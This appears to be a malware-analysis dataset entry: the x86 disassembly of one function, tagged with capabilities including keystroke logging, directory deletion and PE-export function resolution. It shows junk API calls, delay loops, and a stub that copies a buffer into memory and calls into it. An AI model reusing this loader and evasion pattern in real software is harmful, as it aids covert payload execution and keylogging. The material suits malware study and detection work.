Function at 0x403c20
Capabilities:
Delete directory
Get common file path
Get disk size
Log keystrokes via polling
Resolve function by parsing pe exports
Suspend thread

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x42e00b
push eax
mov eax, 0x2240
mov dword fs:[0], esp
call fcn.00411490
cmp dword [0x4417a4], 0xac
push ebx
push ebp
push esi
push edi
jne 0x403d59
xor esi, esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
call dword [sym.imp.USER32.dll_SetParent]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
lea eax, [esp + 0xf0]
push eax
push esi
call dword [sym.imp.USER32.dll_GetMenuInfo]
push esi
lea ecx, [esp + 0x250]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
push esi
push esi
lea edx, [esp + 0x18]
push edx
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ToAsciiEx]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push esi
lea eax, [esp + 0xe50]
push eax
push 0x402e0c
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea ecx, [esp + 0x98]
call fcn.00405990
lea ecx, [esp + 0x98]
call fcn.00405a6e
push esi
call fcn.00405b21
add esp, 4
push esi
push esi
call fcn.00405d42
push esi
call fcn.00405af2
add esp, 0xc
push esi
push esi
call fcn.00405b08
push esi
push esi
call fcn.00405b2c
push esi
call fcn.00405c5e
add esp, 0x14
lea ecx, [esp + 0xa4]
push ecx
call fcn.00405020
lea ecx, [esp + 0xa4]
mov dword [esp + 0xa4], 0x402f14
mov dword [esp + 0xe0], esi
mov dword [esp + 0xe4], esi
mov dword [esp + 0x2258], 0xffffffff
call fcn.00404870
add dword [0x4417a4], 0x11b1b
call fcn.00403b40
call fcn.00403b60
xor esi, esi
cmp dword [0x4417a4], esi
jbe 0x403de1
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, dword [sym.imp.GDI32.dll_GetColorAdjustment]
mov ebp, dword [sym.imp.KERNEL32.dll_HeapCreate]
lea esp, [esp]
mov edx, dword [0x6c8d7c]
mov al, byte [edx + esi + 0x11b1b]
mov ecx, dword [0x441714]
mov byte [ecx + esi], al
cmp dword [0x4417a4], 0xa8
jne 0x403dd8
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
lea edx, [esp + 0xe50]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push 0
push 0
push 0
call ebp
inc esi
cmp esi, dword [0x4417a4]
jb 0x403d90
mov esi, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov edi, dword [sym.imp.KERNEL32.dll_SetComputerNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
xor eax, eax
mov dword [esp + 0x10], eax
mov ecx, dword [0x4417a4]
add ecx, eax
cmp ecx, 0xe
jne 0x403e93
push 0
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
call esi
push 0x402e24
call edi
push 0
call ebx
push 0
push 0
call ebp
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
lea eax, [esp + 0x12c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
push 0x402e40
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push 0
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea edx, [esp + 0x24]
push edx
push 0
lea eax, [esp + 0x254]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x4fe229
mov dword [esp + 0x10], eax
jl 0x403dff
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov ebx, dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
mov esi, 0x4cc
push 0
push 0
push 0
push 0
call edi
lea ecx, [esp + 0x98]
push ecx
push 0
push 0
push 0
call ebx
sub esi, 1
jne 0x403eb4
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
lea esp, [esp]
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
cmp esi, 0x3b9f963
jge 0x4042b6
mov dword [esp + 0x30], 0x68cfa93d
mov dword [esp + 0x90], 0x7e90fce7
mov dword [esp + 0x2c], 0x1d9a7c6d
mov dword [esp + 0x7c], 0x441381a
mov dword [esp + 0x34], 0x6da83752
mov dword [esp + 0x6c], 0xb940fac
mov dword [esp + 0x58], 0x281b80e7
mov dword [esp + 0x94], 0x5e3362e
mov dword [esp + 0x74], 0x3ac68673
mov dword [esp + 0x18], 0x1196451a
mov dword [esp + 0x28], 0x21f9fe85
mov dword [esp + 0x1c], 0x7c6264b6
mov dword [esp + 0x84], 0x4950b2ae
mov dword [esp + 0x64], 0xff5899
mov dword [esp + 0x88], 0x569d1cf2
mov dword [esp + 0x5c], 0x199b1bcf
mov dword [esp + 0x14], 0x1d24402b
mov dword [esp + 0x54], 0x22264de0
mov dword [esp + 0x20], 0x3ddf4fa4
mov dword [esp + 0x10], 0x5958adcb
mov dword [esp + 0x70], 0xc090240
mov dword [esp + 0x78], 0x3e0ecb2a
mov dword [esp + 0x50], 0x4c075175
mov dword [esp + 0x44], 0x14a61c88
mov dword [esp + 0x48], 0x61a6691c
mov dword [esp + 0x24], 0x6df795ab
mov dword [esp + 0x8c], 0x13f0744e
mov dword [esp + 0x80], 0x405c45da
mov dword [esp + 0x40], 0x7afbd543
mov dword [esp + 0x38], 0x7116d1a8
mov dword [esp + 0x4c], 0x495d1bac
mov dword [esp + 0x60], 0xbfc2655
mov dword [esp + 0x68], 0x1aae7e29
mov dword [esp + 0x3c], 0x22253a00
sub dword [esp + 0x30], 0x6852bd7d
sub dword [esp + 0x7c], 0x54eb27fd
add dword [esp + 0x30], 0x60e74945
sub dword [esp + 0x2c], 0x16ceab79
add dword [esp + 0x7c], 0x1faa4e06
sub dword [esp + 0x58], 0x465709b3
add dword [esp + 0x34], 0x17220289
sub dword [esp + 0x58], 0x48e04ff4
add dword [esp + 0x6c], 0x5c2f0923
mov eax, 0x33ae181
mul dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
mov eax, 0x4f0d2a2a
mul dword [esp + 0x30]
mov eax, dword [esp + 0x30]
add dword [esp + 0x2c], 0x569831db
sub dword [esp + 0x30], 0x667741b1
sub dword [esp + 0x18], 0x84e8e84
sub dword [esp + 0x58], 0x5c701fa0
add dword [esp + 0x84], 0x6a64b9f4
mov eax, 0x6404f391
mul dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
mov eax, 0x1843e8a2
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
mov eax, 0x1058d91d
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
add dword [esp + 0x90], 0x5ebbebcb
mov eax, 0x4dfd5c74
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
add dword [esp + 0x74], 0x698f89ff
add dword [esp + 0x74], 0x4fbc68fa
add dword [esp + 0x18], 0x6c2a46be
mov eax, 0x7fb426b4
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
mov eax, 0x712460fe
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
add dword [esp + 0x64], 0x55a3442
mov eax, 0x14d10f45
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
mov eax, 0x737b07f0
mul dword [esp + 0x18]
mov eax, dword [esp + 0x18]
mov eax, 0x7c618c04
mul dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
sub dword [esp + 0x7c], 0x7a664b7b
add dword [esp + 0x58], 0x740eb7e3
sub dword [esp + 0x14], 0x4156fe04
add dword [esp + 0x58], 0x1b3116f6
add dword [esp + 0x2c], 0x6c75a77a
mov eax, 0x395ad56b
mul dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
mov eax, 0x698d9233
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
add dword [esp + 0x90], 0x18ae28bb
sub dword [esp + 0x2c], 0x75572066
add dword [esp + 0x7c], 0x2415c900
add dword [esp + 0x58], 0x71fae2fb
add dword [esp + 0x94], 0x1652a9ab
sub dword [esp + 0x5c], 0x72eec008
add dword [esp + 0x90], 0x70538415
sub dword [esp + 0x14], 0xd1374b5
add dword [esp + 0x2c], 0x5cba9175
add dword [esp + 0x50], 0x3bd45067
mov eax, 0xb507a49
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
add dword [esp + 0x2c], 0x61e345ff
add dword [esp + 0x78], 0x46cf21ae
sub dword [esp + 0x30], 0x43f1ebf9
add dword [esp + 0x20], 0x724f5e27
mov eax, 0x2338ac04
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
add dword [esp + 0x38], 0xd1c1252
mov eax, 0x46bda8fc
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
mov eax, 0xd1e944a
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, 0x3af7253c
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
mov eax, 0x20607127
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
add dword [esp + 0x1c], 0x7ccadf16
mov eax, 0x37d30187
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
add dword [esp + 0x54], 0x9f7d911
add dword [esp + 0x58], 0x1a687fae
add dword [esp + 0x14], 0x20b2a2b6
add dword [esp + 0x6c], 0x25aa1e5
add dword [esp + 0x40], 0x71ac2e8
mov eax, 0x46788f0e
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
cmp esi, 0xbf08bd
jg 0x4042cb
inc esi
cmp esi, 0x19be898c
jl 0x403ee0
call fcn.004039f0
xor edx, edx
cmp edx, 0x26
jne 0x4042dc
call fcn.00403b20
inc edx
cmp edx, 0x409495
jl 0x4042d2
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
mov ebx, dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
mov ebp, dword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov dword [esp + 0x10], 0x7b
jmp 0x404310
cmp dword [0x4417a4], 0x86
jne 0x40434b
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push 0
push 0
call edi
push 0
push 0
call ebx
lea edx, [esp + 0x14]
push edx
push 0
call ebp
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_BackupEventLogW]
sub dword [esp + 0x10], 1
jne 0x404310
mov esi, dword [sym.imp.KERNEL32.dll_ReadConsoleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateActCtxA]
mov ebp, dword [sym.imp.KERNEL32.dll_Beep]
mov dword [esp + 0x10], 0x3078f
cmp dword [0x4417a4], 0x83
jne 0x4043de
push 0
lea eax, [esp + 0x20]
push eax
push 0
lea ecx, [esp + 0x1658]
push ecx
push 0
call esi
push 0
lea edx, [esp + 0x1a50]
push edx
call edi
lea eax, [esp + 0x10c]
push eax
call ebx
push 0
push 0
call ebp
push 0
lea ecx, [esp + 0xa50]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentActCtx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
sub dword [esp + 0x10], 1
jne 0x404372
call fcn.004036d0
mov eax, dword [0x441714]
mov dword [0x441798], eax
call eax
mov ecx, dword [esp + 0x2250]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x224c
ret